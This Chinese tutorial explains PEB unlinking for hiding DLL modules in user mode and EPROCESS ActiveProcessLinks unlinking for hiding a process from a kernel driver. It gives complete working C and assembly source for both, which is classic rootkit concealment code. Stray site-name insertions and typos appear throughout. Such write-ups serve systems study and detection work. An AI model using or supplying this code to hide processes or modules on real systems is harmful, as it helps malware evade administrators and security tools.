断链这种技术非常古老,同时应用于非常多的场景,在内核层如果我们需要隐藏一个进程的内核结构体,也会使用这种技术。本文基于PEB断链在用户层和内核层分别进行实现,在用户层达到的效果主要是dll模块的隐藏,在内核层达到的效果主要是进程的隐藏。
3环PEB断链
每个线程都有一个TEB结构来存储线程的一些属性结构,TEB的地址用fs:[0]来获取,在0x30这个地址有一个指针指向PEB结构
然后定位到PEB,PEB就是进程用来记录自己信息的一个结构,在PEB的0x00c偏移有一个 Ldr _PEB_LDR_DATA结构跟进去

在_PEB_LDR_DATA里有三个双向链表
InLoadOrderModuleList:模块加载的顺序
InMemoryOrderModuleList:模块在内存的顺序
InInitializationOrderModuleList:模块初始化的顺序

以InLoadOrderModuleList为例,双向链表的含义起始就是最后的指针会指向自己

那么了解了基本原理之后我们就可以通过断链来实现模块的隐藏,我们知道如果要枚举模块一般都是使用CreateToolhelp32Snapshot拍摄快照,然后找到模块列表之后进行遍历,其实api也是通过找_PEB_LDR_DATA这个结构来获取程序有哪些模块,那么我们如果想隐藏某个dll,就可以通过修改这几个双向链表的方法来进行隐藏
_DRIVER_OBJECT 结构体中 0x014的偏移有一个成员,DriverSection 可以实现对内核模块的遍历。DriverSection 是一个指针,实际上是对应着一个结构体:_LDR_DATA_TABLE_ENTRY

在_LDR_DATA_TABLE_ENTRY的0x018偏移处有一个DllBase,这里存放的就是dll的地址

所以这里我们如果要想隐藏某个指定的dll,就可以通过DllBase的方式,通过GetModuleHandleA获取dll的句柄,来进行比对
实现
那么我们首先定义_PEB_LDR_DATA和_LDR_DATA_TABLE_ENTRY结构
// LDR链表头 typedef struct _PEB_LDR_DATA { DWORD Length; bool Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; // 指向了 InLoadOrderModuleList 链表的第一项 LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA,*PPEB_LDR_DATA; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; void* BaseAddress; void* EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; HANDLE SectionHandle; ULONG CheckSum; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
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然后通过汇编定位到LDR
讯享网 __asm { mov eax,fs:[0x30] // PEB mov ecx,[eax + 0x0c] // LDR mov ldr,ecx }
因为这里三个双向链表的结构都是一样的,这里就以InLoadOrderModuleList来进行断链示范,这里要实现断链,最简单的做法就是让Head的Flink和Blink指向它自己
首先通过获取到的ldr结构指向InLoadOrderModuleList
Head = &(ldr->InLoadOrderModuleList);
然后通过CONTAINING_RECORD这个宏返回结构体基址
讯享网Cur = Head->Flink; ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);

void CONTAINING_RECORD( address, type, field );
进行断链操作
讯享网 ldte->InInitializationOrderModuleList.Blink->Flink = ldte->InInitializationOrderModuleList.Flink; ldte->InInitializationOrderModuleList.Flink->Blink = ldte->InInitializationOrderModuleList.Blink;
然后将指针指向下一个结构
Cur = Cur->Flink;
因为需要遍历链表进行断链指向自身的操作,这里就需要写一个循环进行断链,完整代码如下
讯享网// killPEB.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <Windows.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _PEB_LDR_DATA { DWORD Length; bool Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA,*PPEB_LDR_DATA; // LDR表项,存储了模块信息 typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; void* BaseAddress; void* EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; HANDLE SectionHandle; ULONG CheckSum; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; void HideModule(HMODULE hModule) { PPEB_LDR_DATA ldr; PLDR_DATA_TABLE_ENTRY ldte; __asm { mov eax,fs:[0x30] mov ecx,[eax + 0x0c] mov ldr,ecx } PLIST_ENTRY Head, Cur; Head = &(ldr->InLoadOrderModuleList); Cur = Head->Flink; do { ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList); if (ldte->BaseAddress == hModule) { ldte->InLoadOrderModuleList.Blink->Flink = ldte->InLoadOrderModuleList.Flink; ldte->InLoadOrderModuleList.Flink->Blink = ldte->InLoadOrderModuleList.Blink; } Cur = Cur->Flink; } while(Head != Cur); Head = &(ldr->InMemoryOrderModuleList); Cur = Head->Flink; do { ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList); if (ldte->BaseAddress == hModule) { ldte->InMemoryOrderModuleList.Blink->Flink = ldte->InMemoryOrderModuleList.Flink; ldte->InMemoryOrderModuleList.Flink->Blink = ldte->InMemoryOrderModuleList.Blink; } Cur = Cur->Flink; } while(Head != Cur); Head = &(ldr->InInitializationOrderModuleList); Cur = Head->Flink; do { ldte = CONTAINING_RECORD( Cur, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList); if (ldte->BaseAddress == hModule) { ldte->InInitializationOrderModuleList.Blink->Flink = ldte->InInitializationOrderModuleList.Flink; ldte->InInitializationOrderModuleList.Flink->Blink = ldte->InInitializationOrderModuleList.Blink; } Cur = Cur->Flink; } while(Head != Cur); } int main(int argc, CHAR* argv[]) { printf("点任意按键开始断链"); getchar(); HideModule(GetModuleHandleA("kernel32.dll")); printf("断链成功\n"); getchar(); return 0; }
这里在没有开始断链的时候可以看到是由3个模块的

锻炼之后可以发现kerner32.dll已经被隐藏

如果要实现所有模块的隐藏,直接将模块判断的代码删除即可
void HideModule_All() { PPEB_LDR_DATA ldr; PLDR_DATA_TABLE_ENTRY ldte; // 获取LDR __asm { mov eax,fs:[0x30] mov ecx,[eax + 0x0c] mov ldr,ecx } PLIST_ENTRY Head; Head = &(ldr->InLoadOrderModuleList); Head->Flink = Head->Blink = Head; Head = &(ldr->InMemoryOrderModuleList); Head->Flink = Head->Blink = Head; Head = &(ldr->InInitializationOrderModuleList); Head->Flink = Head->Blink = Head; }
实现效果如下


锻炼之后,模块已经全部看不到了

0环PEB断链
在操作系统层面上,进程本质上就是一个结构体,当操作系统想要创建一个进程时,就分配一块内存,填入一个结构体,并为结构体中的每一项填充一些具体值。而这个结构体,就是EPROCESS

在+0x088偏移处有一个指针ActiveProcessLinks,指向的是 _LIST_ENTRY。它是双向链表,所有的活动进程都连接在一起,构成了一个链表

那么链表总有一个头,全局变量PsActiveProcessHead(八个字节)指向全局链表头。这个链表跟进程隐藏有关,只要我们把想要隐藏进程对应的EPROCESS的链断掉,就可以达到在0环进程隐藏的目的。
我们看一下PsActiveProcessHead
讯享网kd> dd PsActiveProcessHead

前四个字节指向的是下一个EPROCESS结构,但指向的并不是EPROCESS的首地址,而是每一个进程的 _EPROCESS + 0x88的位置

所以当我们要查询下一个进程结构时,需要 -0x88。比如当前PsActiveProcessHead指向的下一个地址为0x863b58b8
kd> dt _EPROCESS 863b58b8-0x88
在0x174偏移的地方存储着进程名,我们可以看到第一个EPROCESS结构对应的是System进程,这里0x88偏移存放的就是下一个EPROCESS结构的地址,但是这里注意,因为这个结构的地址是指向下一个链表的地址,所以如果要得到EPROCESS的首结构就需要-0x88

我们通过偏移得到下一个EPROCESS结构,可以发现为smss.exe进程

实现
那么到这里我们的思路就清晰了,通过EPROCESS找到我们要隐藏的进程的ActiveProcessLinks,将双向链表的值修改,就可以将我们想要隐藏的这个进程的ActiveProcessLinks从双向链表中抹去的效果,这里的话如果在windbg里面直接使用ed修改的话是比较方便的,但是如果要使用代码来进行修改的话就需要首先定位到EPROCESS
在ETHREAD的0x220偏移得到ThreadsProcess,指向的是_EPROCESS这个结构体

那么就可以用汇编实现找到EPROCESS结构
讯享网 __asm { mov eax, fs: [0x124] ; mov eax, [eax + 0x220]; mov pEprocess, eax; }
首先定义一个指针指向EPROCESS结构,并初始化指向ActiveProcessLinks的指针
pCurProcess = pEprocess;curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
然后判断通过EPROCESS的0x174处的ImageFileName来判断进程名是不是我们想要隐藏的进程

讯享网 ImageFileName = (PCHAR)pCurProcess + 0x174; if (strcmp(ImageFileName, "notepad.exe") == 0)
如果是我们想要隐藏的进程就执行断链操作
curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88); nextNode = curNode->Flink; preNode = curNode->Blink; preNode->Flink = curNode->Flink; nextNode->Blink = curNode->Blink;
如果不是我们想要的进程就继续往下取ActiveProcessLinks的值
讯享网pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
完整代码如下
#include <ntddk.h> NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path); VOID DriverUnload(PDRIVER_OBJECT driver); NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) { PEPROCESS pEprocess, pCurProcess; PCHAR ImageFileName; __asm { mov eax, fs: [0x124] ; mov eax, [eax + 0x220]; mov pEprocess, eax; } pCurProcess = pEprocess; do { ImageFileName = (PCHAR)pCurProcess + 0x174; if (strcmp(ImageFileName, "notepad.exe") == 0) { PLIST_ENTRY preNode, curNode, nextNode; curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88); nextNode = curNode->Flink; preNode = curNode->Blink; preNode->Flink = curNode->Flink; nextNode->Blink = curNode->Blink; DbgPrint("断链成功!\n"); } pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88); } while (pEprocess != pCurProcess); driver->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload(PDRIVER_OBJECT driver) { DbgPrint("驱动卸载成功\n"); }
实现效果如下

安装驱动之后在任务管理器跟cmd里面都已经看不到notepad.exe这个进程

后记
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